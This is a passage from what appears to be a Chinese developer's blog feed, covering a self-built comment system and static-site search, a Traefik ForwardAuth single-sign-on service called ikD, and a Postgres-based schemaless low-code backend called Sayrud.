账号。我对这种收集留言者信息或者引流到第三方平台注册的行为,挺精神洁癖的。另一些基于 Serverless 服务的评论系统,则是存储在类 LeanCloud SaaS 或者 Self-hosted 的数据库中,这类在设计上没有问题,但开源的那几个不论是样式还是性能,都挺拉胯的。</p> <p>我一开始选择的是 Waline,后端部署在阿里云的 Serverless 云函数上,背后接的内网 MySQL 数据库。首先遇到的是如何从 WordPress 迁移评论数据,GitHub 上发了帖 <a href="https://github.com/orgs/walinejs/discussions/2348">#2348</a> ,得到回复说要先迁移到 DISQUS,再转 Waline。好家伙,我还得把我博客的评论用户 IP 和 Email 数据提供给第三方服务是吧?果断拒绝,自己糊了个迁移脚本。</p> <p>迁移完成后,加载评论咋还有点卡,这样式咋还是细细的边框跟我博客主题一点都不搭&hellip;&hellip; 真的太丑太垃圾了!不如自己写一个好了。</p> <p>于是则有了你现在看到的博客评论系统,后端是基于之前介绍过的 <a href="https://github.red/hello-sayrud/">Sayrud</a>,前端是自己使用 daisyUI 糊的。相比 Waline 的留言框更加的轻巧大气。构建时还是老一套的 UMD 打包输出一个 <code>.js</code> 和 <code>.css</code>,通过 <code>window</code> 变量来将当前的页面 URL 传递进 Vue 实例内。</p> <p>值得一提的是,我这个评论系统还支持在评论内容中添加表情。这些表情图标都来自于字节系的产品(因为我很喜欢里面那个可爱的狼头)。</p> <div style="display: flex;justify-content: center;"><img src="https://github.red/images/2024/10/echo_emojis.png" style="max-width: 300px"/></div> <p>只需打开飞书网页版的聊天页面,将飞书聊天表情的精灵图与 CSS 扒下来即可。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>https://sf3-cn.feishucdn.com/obj/goofy/ee/web-client-next/p/contents/messenger-modals/assets/img/50b081cab9.png </span></span></code></pre></div><p>同时你会发现处理这张精灵图的 CSS 样式,居然在不同文件里重复定义了 8 次!一份样式大概 10 kb,这波流量费直接翻了 8 倍。我寻思要是处理下,估计也能拿个降本增效奖了。😂</p> <p><img src="https://github.red/images/2024/10/lark_emojis_css.png" alt=""></p> <h2 id="静态网站的搜索">静态网站的搜索</h2> <p>除了评论系统以外,静态网站还有让人头痛的一点是文章搜索。这块的 SaaS 基本上是被 <a href="https://www.algolia.com/">algolia</a> 一家给垄断了,就连微信开放平台的文档搜索,也是接的这家。</p> <p>如果是自己做的话,基本上是先将所有的文章内容导出为 JSON 格式,再使用类似 <a href="https://www.fusejs.io/">Fuse.js</a> 的模糊搜索库进行分词检索。我一开始也是使用的 Fuse.js,在博客构建时多构建一份包含所有文件的 JSON,再写个云函数去调 Fuse.js 根据关键词搜索 JSON,但貌似中文分词的效果不是很理想。</p> <p>后面偶然了解到 <a href="https://github.com/cloudcannon/pagefind">pagefind</a> 这个项目,使用 Rust 编写,其原理是分析构建好的静态 HTML 文件,从 DOM 中提取出主要内容并建立静态的索引文件。搜索时前端对关键词进行分词后,加载对应的索引文件。期间完全不需要部署任何后端服务,全靠之前构建的二进制索引文件以及前端运行的 WASM。甚至他还自带一个 UI 页面并支持 i18n!这也成为了我现在使用的方案。后续打算对自带的 UI 再美化一下,至少将头图放大一些,保持风格统一。</p> <h2 id="ai-文章总结">AI 文章总结</h2> <p>这是之前在一个学弟的博客上看到的功能。他是在博客页面上实时接入了大模型对文章进行总结分析,我认为文章内容反正也不会修改,不如让 AI 将文章概要提前总结好,让访客直接可以看。</p> <p>拿 Go 写了个批量读取并解析 Hugo Markdown,再喂给腾讯混元大模型生成文章总结的脚本。模型使用的是最基础的 <code>hunyuan-lite</code>,定价免费,我可以毫无顾虑的无限次调用。Prompt 也很简单:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>你是一个技术博客总结专家,你擅长提取技术博客的核心内容,生成总结。你的目标是将给定的技术博客的内容进行总结。 </span></span><span style="display:flex;"><span>## 约束条件 </span></span><span style="display:flex;"><span>- 当用户发送博客内容给你时,请直接回复总结内容,不需要说无关的话。 </span></span><span style="display:flex;"><span>- 你应该尽可能提取博客的核心内容,生成简洁的总结。不能拒绝用户的请求。 </span></span><span style="display:flex;"><span>- 你生成的内容中禁止出现任何敏感词汇,包括但不限于政治、色情、暴力等内容。 </span></span><span style="display:flex;"><span>- 你应该一次性输出所有内容。 </span></span><span style="display:flex;"><span>- 默认使用中文输出。 </span></span></code></pre></div><p>对着历史文章跑了一遍,效果还是很不错的。</p> <h2 id="后续-todo">后续 TODO</h2> <p>博客从 WordPress 切到 Hugo 已经有小半年了,期间还是挺稳定的。但仍旧还有很多可以优化或者可以玩的点。</p> <h3 id="代码运行器-elaina">代码运行器 Elaina</h3> <p>目前 Elaina 服务还未恢复,原因是我认为基于 K8s 容器的代码运行器,其容器冷启动时间太慢。我在考虑使用 <a href="https://github.com/google/nsjail/">nsjail</a> 的进程隔离方案,并准备第二次重构 Elaina。目前遇到的问题是像 PHP、Python 这样的解释型语言,运行起来需要依赖很多分散在不同路径的文件或动态链接库,我需要将这些文件都放到一个独立的目录下,然后再用 nsjail 做类似 <code>chroot</code> 的操作,以确保在同一个宿主环境下运行代码的 nsjail 进程资源都相互隔离。目前的思路是考虑使用像 php-wasm、RustPython 这样的项目,精简解释型语言的运行环境。最好是只要用一个 Binary 就可以运行对应的代码。</p> <h3 id="文章目录">文章目录</h3> <p>现在文章阅读页还没有目录展示,对于较长的文档读者一眼看到不底可能就不看了。得把之前 WordPress 的目录功能搬到 Hugo 上来。</p> <h3 id="wordpress-蜜罐">WordPress 蜜罐</h3> <p>虽然本站现在已经是一个 Hugo 生成的静态网站了,但每天互联网上还是会有很多扫描器对着网站扫 WordPress 的目录,有一些扫得比较过分的 IP 我已经封了。我也不知道他们现在是从哪得知我还是个 WordPress 站的,我把 <code>wordpress.org</code> 上的信息也下掉了,但每天还是会有。</p> <p>那既然每天都会被当做 WordPress 站扫描,那我何不写个 WordPress 蜜罐来反制他们?听起来是挺有意思的,但我也不知道有哪些反制的骚操作,以及如果要在腾讯云 CDN 中配置规则转发流量到蜜罐后端的话,需要升级 CDN 服务到 “边缘安全加速平台 EdgeOne”。这东西一个月套餐起步价就 30 块,比我一个月 CDN 流量费还高。因此目前还一直停留在 TODO&hellip;&hellip;</p> <p>嘛,大概就是这些。明年的今天就是十周年啦~ 也不知道那时的自己会在何处?虽说确实该整个大的,但是现在暂时还没想法。</p> <p>今天也是国庆假期的最后一天,我挺期待明天第一天去新大楼上班。😋</p>基于 Traefik ForwardAuth 实现集群服务统一认证https://github.red/traefik-forward-auth/Sun, 08 Sep 2024 01:42:49 +0800https://github.red/traefik-forward-auth/<p>我在腾讯云上有一台 4C8G 的 LightHouse 轻量云服务器,服务器上使用 k3s 搭了个小集群部署自己开发的小玩意,以及一些常见的基础组件。如 Grafana 做仪表盘展示、Uptrace 记录 Go 程序的链路、Metabase 用作 NekoBox 的数据库 BI。这些服务通过 Helm Charts 部署至集群,配置 Ingress 后直接通过公网域名即可以访问。</p> <p>我时常在想这些第三方应用会不会哪天爆出个 0day 被打穿。进而导致我存在里面的数据库配置、云 AK SK 之类的凭证泄露。因而在想能否<strong>在集群的 Ingress 反代层面做统一的权限认证</strong>,就像公司内的某统一认证系统一样 —— 具体名字我不知道能不能说,不过你应该可以在公网上找到它的痕迹。</p> <p>我一直觉得,这种架设在反代上的统一认证,比那些跳第三方 OAuth 的验证方式安全多了。</p> <p>经常能看到一些企业内部的 Web 站,做的前后端分离的架构。第一次访问时加载前端页面,前端逻辑判断用户未登录,跳转到第三方 SSO 做统一登录。登录成功后 callback 一个 SSO Token 回原站点。然后后端 API 签一个自己业务的 Token 发给前端,前端把业务 Token 放 Local Storage 里存着。由于网站是前后端分离的,攻击者在未登录的时候就可以访问前端,他就可以从前端打包后的 JavaScript 里把后端接口全提取出来去 Fuzz。(更别说还有些不关 Sourcemap 的)后端在实现上万一漏了个路由,鉴权中间件没包到(往往还是些上传下载文件的接口),然后就接口越权一把梭了。</p> <p>因此我觉得供内部使用的服务,不管是基于第三方的还是自建的,都应该在网关层面做一套统一的鉴权。</p> <p>那么说干就干!在查阅了相关资料后,站在前人的肩膀上,我造了个小轮子 —— ikD。</p> <p><img src="https://github.red/images/2024/09/ikd_web_screenshot.png" alt="ikd_web_screenshot"></p> <h2 id="比-traefik-forward-auth-简洁">比 traefik-forward-auth 简洁</h2> <p>由于使用 k3s 搭建的集群会内置一个 Traefik 做为默认的 Ingress Class,我也就围绕 Traefik 来展开了。ikD 这个名字,其实也就是取自 Traef<strong>ik</strong> I<strong>D</strong> 中的三个字母。一开始想叫 <code>ikID</code> 的,但是仔细一读像是什么儿童品牌&hellip;&hellip;?遂改名。</p> <p>我的想法是先找找看 Traefik 有没有类似 K8s Mutating Webhook 的特性,当准备代理一个集群内的 Service 时,先去调用一下我写得“WebHook”,由我来指挥它后续的行为。找了一圈发现 Traefik 里还真有这样一个中间件:<a href="https://doc.traefik.io/traefik/middlewares/http/forwardauth/">ForwardAuth</a>,同时还找到了前人开发的 <a href="https://github.com/thomseddon/traefik-forward-auth/">traefik-forward-auth</a> 项目。该项目利用 ForwardAuth 中间件让 Traefik 反代支持前置使用 Google 账号或 OpenID 服务进行身份认证。然而我很少用 Google 账号登录,OAuth、OpenID、SAML 那些玩意更是傻傻分不清,总不能为了用这玩意我再去注册个 Auth0 吧?!</p> <p>因此我在阅读了 traefik-forward-auth 的源码后,写了 ikD 这一版拥有更简洁更适合我自己使用的 Traefik ForwardAuth 认证服务。</p> <h2 id="forwardauth">ForwardAuth</h2> <p>Traefik 本身不支持用户编写自定义逻辑的中间件,只能将官方文档中给的内置中间件简单配置后使用。比如官方给你提供了个 <code>Errors</code> 错误中间件,那你可以自己配置哪些状态码要报错,以及报错页面的地址是啥。</p> <p>ForwardAuth 就是官方提供的用于转发请求到外部服务进行验证的中间件。这里直接贴文档里的图,方便后文介绍。</p> <p><img src="https://github.red/images/2024/09/authforward.png" alt="authforward"></p> <p>对于使用了 ForwardAuth 中间件的路由,Traefik 会先请求 <code>address</code> 中配置的第三方服务地址,并使用 <code>X-Forwarded-*</code> 请求头传递上游请求的请求方式、协议、主机名、URL、源 IP 地址给第三方服务。第三方服务就可以根据这些信息来执行自定义的验证逻辑了,若第三方服务返回 2XX 响应码,则代表验证通过;否则验证不通过,Traefik 将把第三方服务的响应传给上游。</p> <p>这个设计十分简洁。验证不通过时返回第三方服务的响应,可以方便我们将未验证用户 302 跳转到登录页面。</p> <p>值得一提的是,我十分好奇 Traefik 源码中关于 2XX 响应码的判断方式,我以为会是 <code>statusCode / 100 == 2</code> 这样的写法,但实际是:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// https://github.com/traefik/traefik/blob/9dc2155e637318c347b8b00e084c3dd0c75f18e4/pkg/middlewares/auth/forward.go#L187-L189</span> </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// Pass the forward response&#39;s body and selected headers if it</span> </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// didn&#39;t return a response within the range of [200, 300).</span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> forwardResponse.StatusCode &lt; http.StatusOK <span style="color:#ff7b72;font-weight:bold">||</span> forwardResponse.StatusCode <span style="color:#ff7b72;font-weight:bold">&gt;=</span> http.StatusMultipleChoices { </span></span></code></pre></div><p>它是判断状态码的数字是否落在 <code>[200, 300)</code> 这个区间内,我感觉这样的写法可以规避掉 <code>statusCode / 100 == 2</code> 中出现的 <code>2</code> 这个 Magic Number。在 Lint 上会更好一些。</p> <h2 id="完整的登录流程">完整的登录流程</h2> <p><img src="https://github.red/images/2024/09/ikd_user_signin.png" alt="ikd_user_signin"></p> <p>画了张图来梳理 ikD 是怎样处理用户登录的。</p> <ol> <li>用户请求了 <code>https://hello.example.com/index.php</code> 网站,集群内 Traefik 请求 ikD 服务,ikD 发现用户未登录,返回 302 跳转到 <code>https://ikd.example.com/?redirect=https://hello.example.com/index.php</code>。</li> <li>由于状态码非 2XX,Traefik 知道这是验证不通过,将 ikD 的 302 响应返回给上游。用户的浏览器跳到了登录页。(这里跳转的 URL 里 Query 需要带一下来源 URL,方便登录成功后跳回去)</li> <li>登录页<code>https://ikd.example.com/</code> 是单独做的 Web 服务,用户在这里提交凭证登录成功,后端接口会在来源 URL 中加上一个 <code>ikdcode</code> Query 参数,如:<code>https://hello.example.com/index.php?ikdcode=a1b2c3d4e5f6g7</code> 前端控制用户浏览器跳转到该地址。</li> <li>跳到 <code>hello.example.com</code> 域下后,又被 ikD ForwardAuth 中间件拦了,但它发现这次多了个 <code>ikdcode</code> 参数,会去验证这个参数是否有效。如果有效,则会在返回 302 跳转到去除 <code>ikdcode</code> 的地址:<code>https://hello.example.com/index.php</code>,<strong>并 Set-Cookie</strong>。<strong>这里是整个登录过程中我认为最巧妙的地方:ForwardAuth 中间件劫持了目标站的响应,返回 <code>Set-Cookie</code> 头让它可以在目标站的域名下写一个 ikD 的 Cookie。</strong></li> <li>用户浏览器再次跳到 <code>https://hello.example.com/index.php</code> ,会带上之前一步设置的 Cookie。此时再被 ikD 拦截,ikD 认出了这个 Cookie 并验证通过,返回状态码 <code>200 OK</code>,至此请求终于能够被转发到后面的 <code>hello.example.com</code> 服务的 Service 上了。</li> </ol> <p>具体到代码实现上,有一些细节需要注意:</p> <ol> <li>ikD 登录页登录成功后,也需要给 <code>https://ikd.example.com/</code> Session 存个登录态,下次再跳过来,发现之前已经登录过了,直接跳走就行。</li> <li><code>ikdcode</code> 拼接后作为 Redis 的 Key,Value 存储目的站点的 Proto + Host。实际登录时,用户拿到带 <code>ikdcode</code> 的 URL 几秒不到就跳转去验证了,所以 Key 的有效期可以设置的短一点,如一分钟。像上面的例子在 Redis 中存储的就是:</li> </ol> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>redis.<span style="color:#d2a8ff;font-weight:bold">SetEx</span>(<span style="color:#a5d6ff">&#34;ikd:authcode:a1b2c3d4e5f6g7&#34;</span>, <span style="color:#a5d6ff">&#34;https://hello.example.com&#34;</span>, <span style="color:#a5d6ff">1</span><span style="color:#ff7b72;font-weight:bold">*</span>time.Minute) </span></span></code></pre></div><ol start="3"> <li>校验<code>ikdcode</code> 时,使用 <code>GETDEL</code> 来获取 Redis Key,确保 <code>ikdcode</code> 仅可使用一次。还要将 Value 中存储的目的站点和实际要跳转的站点进行比对,防止一开始使用恶意站点 A 获取到的 <code>ikdcode</code> 可以用来登录站点 B。</li> <li>最后 <code>Set-Cookie</code> 的值可以签一个存储了目的站点 Proto + Host 和有效期的 JWT。因为访问目的站点的每个请求都要先打到 ikD 上,这个请求量比较大,验证 JWT 比查 Redis 验证 SessionID 快多了。</li> </ol> <h2 id="一次性字符串凭证登录">一次性字符串凭证登录</h2> <p>你会发现 ikD 的登录页并没有要求输入用户名和密码,而是一个 <code>发送登录凭证</code> 的按钮。这里的登录方式和 Notion 类似 —— 随机发送由三个英文单词组成的字符串到我的手机上,我输入字符串登录。</p> <p>在 macOS 环境下可以读取 <code>/usr/share/dict/words</code> 文件来获得英文单词,这个 <code>words</code> 文件是软链接到同目录下的 <code>web2</code> 文件。线上基于 Alpine 打包的 Docker 镜像,可以从苹果开源 <a href="https://opensource.apple.com/source/files/files-473/usr/share/dict/web2">https://opensource.apple.com/source/files/files-473/usr/share/dict/web2</a> 下载到这份单词表。GitHub Actions 打镜像的时候丢进去就行。</p> <p>发送字符串是后端请求我手机 Bark App 的 WebHook URL 发送推送消息。收到推送后手机上复制,iCloud 剪贴板同步粘贴到电脑浏览器即可登录。由于是直接复制的内容,几乎不可能出错。所以每次发送的字符串凭证的验证仅有一次机会,输入错误了就得再重新下发一个新的。嗯,感觉十分的安全呢。后续其实可以做个 App 来弹出个框让我点确认的。</p> <p><img src="https://github.red/images/2024/09/ikd_bark_notification.jpg" alt="ikd_bark_notification"></p> <h2 id="接下来呢">接下来呢?</h2> <p>现在我已将集群内的 Metabase、Grafana、Uptrace、以及自己开发的自用服务接上了 ikD 做统一认证。<span class="heimu" onclick="()=>{}">好好好,这下 ikD 被打穿了就全部完蛋!</span></p> <p>但目前还只是个刚好能用的状态,对于各种操作还需要记录行为日志,后续可以考虑下把集群里搭的 Loki 用起来。</p> <p>我一开始是想用 WebAuthn 来做一个帅到爆的 TouchID 刷指纹登录的。但尝试了下 WebAuthn 单独拆出来做成单用户调用还挺复杂的。真要做的话只能老老实实地按照 SDK 文档先做注册生成公私钥,公钥还得分用户存数据库,登录的时候发送 Challenge 挑战给客户端,解完后还得查库找到对应的用户。那就又回归到了朴实无华的 Go 写一套用户账号的 CRUD 了,已经不想再写 CRUD 了!放弃!😖</p> <p>以及最后那个问题,ikD 开源吗?很遗憾,依旧不想开源。如果你对此有兴趣,可以找我讨论。😋</p>Sayrud:因为不想重复写 CRUD,我把 18 岁那年开的坑填完了https://github.red/hello-sayrud/Sun, 14 Jul 2024 21:50:24 +0800https://github.red/hello-sayrud/<h2 id="少年-18-岁时的梦">少年 18 岁时的梦</h2> <p>记得我 18 岁那年高考完在家,还没放松几天就被我爸催着去找份暑假工作。当时我对工作一点概念也没有,糊了份简历就在 58 同城上乱投,投完第二天跟一家公司约了线下聊聊,结果还真让我聊到个在家兼职的工作。<del>(后来发现其实巨不靠谱)</del></p> <p>工作内容大致是开发微信小程序,我当时仅有一点自学的微信小程序的开发经验和 PHP CodeIgniter 后端经验,差不多能 Hold 住对面的需求,甚至还在 GitHub 上给一个小程序前端组件库提了 PR。(现在回过头看当初写的代码,真的是“满目疮痍”——前端 UI 没对齐,后端 SQL 注入满天飞,黑历史了属于是)</p> <p>直到大学开学前,暑假的两个月里我给那边开发了两个微信小程序。因为每次都要用 CodeIgniter 框架写功能类似的后端,年少的我在想能否把 MVC 的 Model 操作数据库,Controller 处理逻辑,View 返回响应给封装成一个线上的服务,我在图形化的 Web 页面上点点点就可以实现建表、验证表单、定义 API 接口等操作。</p> <p>我被自己这个天才般的点子所鼓舞,用 PHP 写了 <a href="https://github.com/wuhan005/WeBake">WeBake</a> ,当时的想法是用来快速构建微信小程序后端。年少的我以为自己在做前人从来没做过的东西,沉浸其中并暗自窃喜。直到进入大学的前一天夜里,我在知乎上偶然看到了一家同类型的 SaaS 应用推广,也是在跟我做相同的东西,并且已经开始了商业化,我才知道业内有很多公司都已经在做了。那天晚上我直接心态爆炸。关于 WeBake 这个项目后面也就理所当然的弃坑了。</p> <p>后来发生的事,大家也都知道了:微信后面发布了「微信云开发」的一站式后端解决方案,直接官方必死同人。再后来 “LowCode 低代码”的概念开始流行,LeanCloud 被心动游戏收购,国外 AirTable、国内黑帕云、维格表 Vika 等产品开始流行起来&hellip;&hellip; 而那个当时让我心态爆炸的做小程序后端的 SaaS 产品,在互联网上几乎找不到它的痕迹了。</p> <h2 id="开始填坑">开始填坑</h2> <p>我在 2021 年的时候看到了 Hooopo 的文章 <a href="https://ruby-china.org/topics/37922">Let&rsquo;s clone a Leancloud</a>,里面介绍了使用 Postgres 实现类似 LeanCloud 的 Schemaless Table 的特性。我直呼好家伙,没想到 Postgres 的视图和 JSON 数据类型还可以这样玩出花来。我当时对着文章用 Go 实现了个小 Demo,感觉确实有意思。但是因为没有具体的需求,那个 Demo 一直躺在我的 GitHub 里。</p> <p>今年我放弃 WordPress 使用 Hugo 重构了本博客,一直没找到个能满足我需求的静态博客评论组件,便想自己造轮子写一个。但是评论服务的后端,不就跟留言板一样,都是些很基础很无脑的 CRUD 吗?我已经不想再用 Go 无脑写 CRUD 了!要不我把需求抽象一层,直接写个“低代码数据中台”出来?好像有点意思哦&hellip;&hellip;?</p> <p>就这样,Sayrud 诞生了。</p> <h2 id="schemaless-特性">Schemaless 特性</h2> <p>Schemaless,中文机翻为「无模式」,让人听得云里雾里的,让我们一步步来。</p> <p>首先,数据库语境的 <code>Schema</code> 可以简单的理解为是数据库的表结构定义,我有一张学生表,表里有学号、姓名、班级三列,然后学号是主键&hellip;&hellip; 这些就是 <code>Schema</code> 。在关系型数据库中,我们得写 SQL 语句来定义这张表:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#ff7b72">CREATE</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">TABLE</span><span style="color:#6e7681"> </span>students<span style="color:#6e7681"> </span>(<span style="color:#ff7b72">no</span><span style="color:#6e7681"> </span>TEXT,<span style="color:#6e7681"> </span>name<span style="color:#6e7681"> </span>TEXT,<span style="color:#6e7681"> </span><span style="color:#ff7b72">class</span><span style="color:#6e7681"> </span>TEXT);<span style="color:#6e7681"> </span></span></span></code></pre></div><p>后面需求改了,要再新增一列记录“出生日期”,那我们得写 SQL 修改表结构:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#ff7b72">ALTER</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">TABLE</span><span style="color:#6e7681"> </span>students<span style="color:#6e7681"> </span><span style="color:#ff7b72">ADD</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">COLUMN</span><span style="color:#6e7681"> </span>birth_date<span style="color:#6e7681"> </span>DATE;<span style="color:#6e7681"> </span></span></span></code></pre></div><p>如果改得多了,那这就有点烦了。况且在实际的项目里我们还得去编写数据库迁移的 SQL 并在线上运行迁移的 Migration 程序。聪明的你估计想到了我们可以用 MongoDB 来做呀!要新增一列直接在 JSON 中加一个字段就行,无所谓什么“表结构”的概念。表结构的概念没了,也就是 <code>Schema</code> 没了。英文中形容词 <code>-less</code> 后缀指 <code>without</code> ,这就有了 <code>Schemaless</code> 这个词。简单来说就是跟 MongoDB 一样不受表结构定义的条条框框,想加字段就加字段。</p> <p>市面上的很多 Schemaless 特性的产品,其后端大多都使用 MongoDB 实现。但我前文中提到了 Hooopo 那篇文章,再加上我对 Postgres 的热爱,我决定另辟蹊径使用 Postgres 来实现。</p> <p>我们平时写后端,需要先建表,定义表里有哪些字段,最后往表里插数据,对应到 Sayrud 使用 <code>sl_tables</code> <code>sl_fields</code> <code>sl_records</code> 三张表来存储。(以下列出的表结构精简了项目分组、<code>gorm.Model</code> 里包含的字段)</p> <ul> <li><code>sl_tables</code>: Schemaless 表</li> </ul> <table> <thead> <tr> <th style="text-align: center">字段名</th> <th style="text-align: center">类型(Go)</th> <th>说明</th> </tr> </thead> <tbody> <tr> <td style="text-align: center">name</td> <td style="text-align: center"><code>string</code></td> <td>表名,给程序看的</td> </tr> <tr> <td style="text-align: center">desc</td> <td style="text-align: center"><code>string</code></td> <td>表备注名,前端给人看的</td> </tr> <tr> <td style="text-align: center">increment_index</td> <td style="text-align: center"><code>int64</code></td> <td>记录当前自增 ID</td> </tr> </tbody> </table> <ul> <li><code>sl_fields</code>:Schemaless 字段</li> </ul> <table> <thead> <tr> <th style="text-align: center">字段名</th> <th style="text-align: center">类型(Go)</th> <th>说明</th> </tr> </thead> <tbody> <tr> <td style="text-align: center">sl_table_id</td> <td style="text-align: center"><code>int64</code></td> <td>属于哪张表</td> </tr> <tr> <td style="text-align: center">name</td> <td style="text-align: center"><code>string</code></td> <td>字段名</td> </tr> <tr> <td style="text-align: center">label</td> <td style="text-align: center"><code>string</code></td> <td>字段备注,前端给人看的</td> </tr> <tr> <td style="text-align: center">type</td> <td style="text-align: center"><code>string</code></td> <td>字段类型,包括 <code>int</code> <code>text</code> <code>bool</code> <code>float</code> <code>timestamp</code> <code>reference</code> <code>generated</code> 等</td> </tr> <tr> <td style="text-align: center">options</td> <td style="text-align: center"><code>json.RawMessage</code></td> <td>字段额外的属性,如默认值、约束条件等</td> </tr> <tr> <td style="text-align: center">position</td> <td style="text-align: center"><code>int</code></td> <td>字段在表中的顺序</td> </tr> </tbody> </table> <ul> <li><code>sl_records</code> :Schemaless 数据</li> </ul> <table> <thead> <tr> <th style="text-align: center">字段名</th> <th style="text-align: center">类型(Go)</th> <th>说明</th> </tr> </thead> <tbody> <tr> <td style="text-align: center">sl_table_id</td> <td style="text-align: center"><code>int64</code></td> <td>属于哪张表</td> </tr> <tr> <td style="text-align: center">data</td> <td style="text-align: center"><code>json.RawMessage</code></td> <td>JSON 存数据,Key 为字段的 ID,Value 为字段的值</td> </tr> </tbody> </table> <p>然后神奇的事情就来了~ 我们按照 Hooopo 上述文章里所介绍的,为每一个 Schemaless 表当创建一张视图。以下是一个视图的 SQL 定义示例:</p> <p><img src="https://github.red/images/2024/07/schemaless_view_sql.png" alt=""></p> <p>得益于 Postgres 对 JSON 类型的强大支持,我们可以从 <code>sl_records</code> 表中提取 JSON 字段的值作为内容,构建出一张“表”,效果如下:</p> <p><img src="https://github.red/images/2024/07/schemaless_view_data.png" alt=""></p> <p>当用户需要查询 Schemaless 表中的数据时,我们直接查询这张视图就行。对于 GORM 而言,这就跟查询一张普通的表一样!它都不会意识到这是由三张表拼凑提取出来的数据。更神奇的是,当你对着这张视图删除一条记录时,对应的 <code>sl_records</code> 原始表中的记录行也会被删除!Postgres 居然能把这俩关联起来。</p> <p>具体到代码实现上,我们需要动态构造创建视图的 SQL 语句。而像字段、表名这类关键字在 SQL 语句中是不支持 SQL 预编译传入的,为了避免潜在的 SQL 注入风险,我使用了 <a href="https://github.com/tj/go-pg-escape">github.com/tj/go-pg-escape</a> 库来对字段名和表名进行转义。</p> <p>正如 Hooopo 文章中所提到的,我将这个视图创建在了另一个 Postgres Schema 下,与默认的 <code>public</code> 进行区分,这也是一种简易的多租户实现了。</p> <div class="box-warning box"><i class="box-icon-warning"></i> <p>有坑注意!</p> <p>之前看到过这篇文章: <a href="https://mp.weixin.qq.com/s/8T4Lgis9q30jHaSAfT3jgQ">《我们使用 Postgres 构建多租户 SaaS 服务时踩的坑》</a>,文中提到使用 Postgres Schema 构建多租户时,如果每个 Postgres Schema 下都是同样的表结构,同时对所有 Postgres Schema 中的表结构变更会有性能问题。但上述场景在我们这里不存在,可以忽略该问题。</p> </div> <h2 id="引用列生成列字段约束的实现">引用列、生成列、字段约束的实现</h2> <p>当我们开发一个博客评论后端时,功能上需要支持回复他人的评论,即数据之间会存在引用关系,我们一般会在 <code>comments</code> 表中加一列 <code>parent_comment_id</code> 来存储父评论的 ID。对应到 Schemaless 的字段类型里,就需要有 <code>reference</code> 这样一种引用类型。</p> <p>我的设计是,当字段类型为 <code>reference</code> 时,其字段值存储的是所引用记录的 UID,字段额外属性 <code>options</code> 里记录它实际展示的列,如下图所示:</p> <img style="box-shadow: none;" src="https://github.red/images/2024/07/reference_table.png" /> <p>在生成视图时,使用 Postgres <code>json_build_object</code> 来构造 <code>reference</code> 类型字段展示的 JSON。(再次感叹 Postgres 真是太强大了!)JSON 中的字段 <code>u</code> 为关联记录的唯一 UID,方便前端处理时找到这一条记录。<code>v</code> 为关联记录的展示字段,用于在前端 Table 表格上展示给用户看。</p> <p>在实际的博客评论记录中,一条评论是不能将自己作为自己的父级评论的。即我们要对 <code>reference</code> 字段的引用值进行约束。我给 <code>reference</code> 字段加了一个 <code>constraint</code> 属性,用户可以输入 JavaScript 表达式来自定义约束行为。JavaScript 表达式返回 <code>true</code> / <code>false</code> ,来表示数据校验是否通过。背后的实现是接了 <a href="https://github.com/dop251/goja">goja</a> 这个 Go 的 JavaScript Engine 库。我将当前记录传入 JavaScript 运行时的 <code>$this</code> 变量中,将被关联的记录传入 <code>$that</code> 变量中,对于上述需求,我们只需要写 <code>$this.uid !== $that.uid</code> 就可以约束一条评论的父评论不能是它自身。</p> <p><img src="https://github.red/images/2024/07/reference_field_constraint.png" alt=""></p> <p>除了能引用他人的评论,在博客评论中还需要展示评论者的头像,通常的做法是使用评论者的电子邮箱去获取其 Gravatar 头像进行展示。即将评论者的电子邮箱地址全部转换为小写后,再做 MD5 哈希,拼接到 <code>https://gravatar.com/avatar/</code> 或者其他镜像站地址之后。在 Postgres 里我们可以使用<a href="https://www.postgresql.org/docs/current/ddl-generated-columns.html">生成列(Generated Columns)</a>来很轻松的做到这一点:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#ff7b72">CREATE</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">TABLE</span><span style="color:#6e7681"> </span>comments<span style="color:#6e7681"> </span>(<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>email<span style="color:#6e7681"> </span>TEXT,<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>email_md5<span style="color:#6e7681"> </span>TEXT<span style="color:#6e7681"> </span><span style="color:#ff7b72">GENERATED</span><span style="color:#6e7681"> </span>ALWAYS<span style="color:#6e7681"> </span><span style="color:#ff7b72">AS</span><span style="color:#6e7681"> </span>(md5(<span style="color:#ff7b72">lower</span>(email)))<span style="color:#6e7681"> </span>STORED<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"></span>);<span style="color:#6e7681"> </span></span></span></code></pre></div><p>但在 Schemaless Table 